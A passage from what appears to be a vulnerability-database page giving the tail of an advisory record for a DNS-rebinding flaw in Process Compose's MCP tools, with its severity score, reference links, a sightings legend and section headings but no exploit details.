      "url": "https://github.com/F1bonacc1/process-compose"
    },
    {
      "type": "WEB",
      "url": "https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-77339 (GCVE-0-2026-77339)

GHSA-5GM3-9CRP-6G3V

Summary

Affected Code

Reproduction

Observed Result

Impact

Suggested Fix

Tags

Sightings

Nomenclature

Related by attack behaviour